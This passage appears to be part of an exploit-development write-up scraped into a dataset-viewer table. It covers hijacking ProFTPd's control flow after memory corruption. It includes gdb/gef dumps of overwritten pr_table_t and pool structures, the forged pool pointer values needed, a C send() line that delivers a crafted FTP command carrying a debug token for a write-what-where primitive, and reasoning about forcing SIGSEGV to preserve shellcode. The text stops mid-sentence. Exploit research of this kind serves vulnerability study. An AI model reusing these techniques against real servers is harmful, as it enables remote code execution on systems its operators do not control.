text stringlengths 0 1.99k |
|---|
pr_table_entry_t *tab_iter_ent; |
pr_table_entry_t *val_iter_ent; |
pr_table_entry_t *cache_ent; |
int (*keycmp)(const void *, size_t, const void *, size_t); |
unsigned int (*keyhash)(const void *, size_t); |
void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *); |
void (*entremove)(pr_table_entry_t **, pr_table_entry_t *); |
}; |
As you can see, there are four function pointers we could use, and most |
of them are called during the execution flow. Cool :) |
When I overwrote this structure to reach the function pointers, I had |
difficulty finding appropriate ROP gadgets. Although I could control RIP, |
overwriting other structure members could introduce instability, since |
some of them are accessed during session cleanup. In the code flow we have, |
those function pointers are not called with other parts of our payload, |
making this strategy not sufficient for code flow hijacking. |
We have to force ProFTPd to crash by triggering a SIGSEGV signal. This is |
necessary because we're very close to the exit() syscall, and resp_pool |
would soon be cleaned up - meaning our shellcode would be lost. By forcing |
a SIGSEGV, we prevent that cleanup, and we move to another code path. |
At this point, gid_tab->pool has already been overwritten with our data. |
These are the size and strings written, as well our FTP command sent: |
gef➤ p p->last->h.first_avail |
$18 = (void *) 0x56259ecee150 reqsz = 0x4 "426" |
$20 = (void *) 0x56259ecee158 reqsz = 0x29 "Transfer aborted. Data |
connection closed" |
$21 = (void *) 0x56259ecee188 reqsz = 0x4 "426" |
$22 = (void *) 0x56259ecee190 reqsz = 0x29 "Transfer aborted. Data |
connection closed" |
$23 = (void *) 0x56259ecee1c0 reqsz = 0x5 argv[0] "3333" (last FTP |
command we sent) |
$24 = (void *) 0x56259ecee1c8 reqsz = 0xf argv[i] "CCC8\350ў%V" |
(argument of the last FTP command) |
$25 = (void *) 0x56259ecee1d8 reqsz = 0xf "3333 CCC8\350ў%V" (the |
complete last FTP command we sent) |
$26 = (void *) 0x56259ecee1e8 reqsz = 0x10 "displayable-str" |
The idea here is to use the FTP commands as part of our payload, and use |
the string "displayable-str" to force a SIGSEGV before our data gets |
overwritten. This is tricky and requires precise memory calculations. |
In the example above, I chose to use the following command as a placeholder |
to find it in memory: |
gdb: break pool.c:856 if c == 0x771111111177 |
r = send(sock_ctrl, (void *)"3333 CCC\x77\x11\x11\x11\x11\x77\0", 15, 0); |
As you may have guessed, I wrote a simple C program to trigger the bug and |
send the payload I want. The send() call you see above sends a debug token, |
which will later be used as the destination memory address for our |
write-what-where primitive. 0x771111111177 is the debug token. |
After extensive analysis and trial and error, I discovered that resp_pool |
must contain the following values: |
gef➤ set p->last = &p->cleanups |
gef➤ set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 |
gef➤ set p->sub_next = ((char *)&gid_tab->chains) - 0xe0 |
The value of gid_tab (which is pointed by tab): |
gef➤ p *tab |
$75 = { |
pool = 0x56259ecf51e0, |
flags = 0x0, |
seed = 0x99063431, |
nmaxents = 0x2000, |
chains = 0x56259ecf9cd0, |
nchains = 0x8, |
nents = 0x2, |
free_ents = 0x0, |
free_keys = 0x0, |
tab_iter_ent = 0x0, |
val_iter_ent = 0x0, |
cache_ent = 0x0, |
keycmp = 0x56259e6368e2 <key_cmp>, |
keyhash = 0x56259e636990 <key_hash>, |
entinsert = 0x56259e636a1d <entry_insert>, |
entremove = 0x56259e636a80 <entry_remove> |
} |
gef➤ p *resp_pool |
$76 = { |
first = 0x4444444444444444, |
last = 0x56259ed1e800, |
cleanups = 0x4141414141414141, |
sub_pools = 0x56259ecf9cd0, |
sub_next = 0x56259ecee1f8, |
sub_prev = 0x4141414141414141, |
parent = 0x4141414141414141, |
free_first_avail = 0x4141414141414141, |
tag = 0x56259ed1e000 "" |
} |
At cmd.c:374 ProFTPd creates a new table to process our command. In order |
to do that it allocs a new space in memory to store "displayable-str" and |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.